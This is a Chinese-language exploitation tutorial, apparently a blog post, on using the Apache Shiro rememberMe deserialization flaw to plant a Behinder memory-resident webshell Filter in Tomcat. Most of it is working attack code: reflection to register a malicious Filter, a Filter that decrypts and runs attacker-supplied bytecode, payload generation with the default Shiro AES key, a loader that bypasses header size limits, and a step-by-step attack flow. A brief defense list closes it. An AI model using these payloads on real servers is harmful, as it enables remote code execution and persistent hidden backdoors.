利用shiro反序列化注入冰蝎内存马
字数 1065 2025-08-24 23:51:23

利用Shiro反序列化注入冰蝎内存马技术详解

一、Shiro反序列化注入内存马原理

1. Tomcat Filter内存马基础实现

Tomcat Filter内存马的核心是通过动态注册Filter实现持久化控制,主要分为四个关键步骤:

  1. 获取StandardContext对象
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
  1. 获取filterConfigs映射表
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
  1. 创建恶意Filter实现
Filter filter = new Filter() {
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        // 恶意代码逻辑
        String cmd = servletRequest.getParameter("cmd");
        if (cmd != null) {
            // 执行命令
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
    // 其他必要方法实现...
};
  1. 注册Filter到容器
// 创建FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evil");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

// 创建FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evil");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

// 创建FilterConfig并注册
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put("evil", filterConfig);

2. 结合Shiro反序列化注入

将上述内存马逻辑封装到恶意类中,通过Shiro反序列化漏洞触发:

  1. 创建继承AbstractTranslet的恶意类
public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        // 内存马注入逻辑
    }
    // Filter接口方法实现...
}
  1. 使用CB1链生成Payload
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(BehinderFilter.class.getName());
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());

AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
  1. 将生成的Payload放入rememberMe Cookie触发漏洞

二、冰蝎内存马改造

1. 冰蝎核心逻辑分析

原始冰蝎JSP马核心代码:

<%
    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b"; // 默认连接密码rebeyond的MD5前16位
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        new U(this.getClass().getClassLoader()).g(
            c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())))
            .newInstance().equals(pageContext);
    }
%>

2. 内存马中的冰蝎实现

改造后的Filter实现:

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    try {
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        HttpServletResponse response = (HttpServletResponse)servletResponse;
        HttpSession session = request.getSession();

        // 创建伪pageContext
        HashMap<String, Object> pageContext = new HashMap<>();
        pageContext.put("request", request);
        pageContext.put("response", response);
        pageContext.put("session", session);

        if (request.getMethod().equals("POST")) {
            String k = "e45e329feb5d925b";
            session.putValue("u", k);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
            
            // 反射调用defineClass
            Method method = Class.forName("java.lang.ClassLoader")
                .getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            byte[] evilclass_byte = c.doFinal(new BASE64Decoder()
                .decodeBuffer(request.getReader().readLine()));
            Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), 
                evilclass_byte, 0, evilclass_byte.length);
            evilclass.newInstance().equals(pageContext);
        }
    } catch(Exception e) {
        e.printStackTrace();
    }
    filterChain.doFilter(servletRequest, servletResponse);
}

3. 环境兼容性问题解决

针对不同环境(Spring Boot/Tomcat)获取StandardContext的兼容方案:

Class<? extends StandardContext> aClass = null;
try {
    aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
    aClass.getDeclaredField("filterConfigs");
} catch (Exception e) {
    aClass = (Class<? extends StandardContext>) standardContext.getClass();
    aClass.getDeclaredField("filterConfigs");
}
Field Configs = aClass.getDeclaredField("filterConfigs");

三、绕过maxHttpHeaderSize限制

1. 问题分析

Tomcat默认maxHttpHeaderSize为4096字节(4K),而加密后的字节码数据通常超过此限制

2. 解决方案:POST请求体传输

  1. 创建ClassDataLoader类
public class ClassDataLoader extends AbstractTranslet {
    public ClassDataLoader() throws Exception {
        // 从线程中查找Request对象
        Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread t : ts) {
            if (t != null && t.getName().contains("http")) {
                Object o = getFV(t, "target");
                if (o instanceof Runnable) {
                    o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
                    List ps = (List) getFV(o, "processors");
                    for (Object p : ps) {
                        o = getFV(p, "req");
                        // 获取真正的Request对象
                        Object conreq = o.getClass().getMethod("getNote", int.class)
                            .invoke(o, 1);
                        // 从POST参数获取classData
                        String classData = (String) conreq.getClass()
                            .getMethod("getParameter", String.class)
                            .invoke(conreq, "classData");
                            
                        // 动态加载类
                        byte[] bytecodes = Base64.decode(classData);
                        Method defineClassMethod = ClassLoader.class
                            .getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                        defineClassMethod.setAccessible(true);
                        Class cc = (Class) defineClassMethod.invoke(
                            this.getClass().getClassLoader(), bytecodes, 0, bytecodes.length);
                        cc.newInstance();
                    }
                }
            }
        }
    }
    // 辅助方法...
}
  1. 使用流程
  • 生成ClassDataLoader的Shiro加密Payload放入rememberMe
  • 将冰蝎Filter的字节码Base64编码后作为classData参数通过POST请求体发送

四、完整利用流程

  1. 编译生成BehinderFilter.class
  2. Base64编码字节码
cat BehinderFilter.class | base64 | sed ':label;N;s/\n//;b label'
  1. 生成ClassDataLoader的Shiro Payload
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(ClassDataLoader.class.getName());
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());

AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
  1. 发送请求
  • Cookie中携带rememberMe=生成的Payload
  • POST请求体中携带classData=Base64编码的BehinderFilter

五、防御建议

  1. 升级Shiro到最新版本,修复反序列化漏洞
  2. 修改默认加密密钥
  3. 限制rememberMe功能的使用
  4. 部署RASP防护内存马注入
  5. 监控Filter等核心组件的动态注册行为

六、参考资源

  1. Java内存马:一种Tomcat全版本获取StandardContext的新方法
  2. 冰蝎改造之不改动客户端=>内存马
  3. Shiro RememberMe漏洞检测的探索之路
  4. Java代码执行漏洞中类动态加载的应用
  5. c0ny1/java-object-searcher
利用Shiro反序列化注入冰蝎内存马技术详解 一、Shiro反序列化注入内存马原理 1. Tomcat Filter内存马基础实现 Tomcat Filter内存马的核心是通过动态注册Filter实现持久化控制,主要分为四个关键步骤: 获取StandardContext对象 : 获取filterConfigs映射表 : 创建恶意Filter实现 : 注册Filter到容器 : 2. 结合Shiro反序列化注入 将上述内存马逻辑封装到恶意类中,通过Shiro反序列化漏洞触发: 创建继承AbstractTranslet的恶意类 : 使用CB1链生成Payload : 将生成的Payload放入rememberMe Cookie 触发漏洞 二、冰蝎内存马改造 1. 冰蝎核心逻辑分析 原始冰蝎JSP马核心代码: 2. 内存马中的冰蝎实现 改造后的Filter实现: 3. 环境兼容性问题解决 针对不同环境(Spring Boot/Tomcat)获取StandardContext的兼容方案: 三、绕过maxHttpHeaderSize限制 1. 问题分析 Tomcat默认maxHttpHeaderSize为4096字节(4K),而加密后的字节码数据通常超过此限制 2. 解决方案:POST请求体传输 创建ClassDataLoader类 : 使用流程 : 生成ClassDataLoader的Shiro加密Payload放入rememberMe 将冰蝎Filter的字节码Base64编码后作为classData参数通过POST请求体发送 四、完整利用流程 编译生成BehinderFilter.class Base64编码字节码 : 生成ClassDataLoader的Shiro Payload : 发送请求 : Cookie中携带rememberMe=生成的Payload POST请求体中携带classData=Base64编码的BehinderFilter 五、防御建议 升级Shiro到最新版本,修复反序列化漏洞 修改默认加密密钥 限制rememberMe功能的使用 部署RASP防护内存马注入 监控Filter等核心组件的动态注册行为 六、参考资源 Java内存马:一种Tomcat全版本获取StandardContext的新方法 冰蝎改造之不改动客户端=>内存马 Shiro RememberMe漏洞检测的探索之路 Java代码执行漏洞中类动态加载的应用 c0ny1/java-object-searcher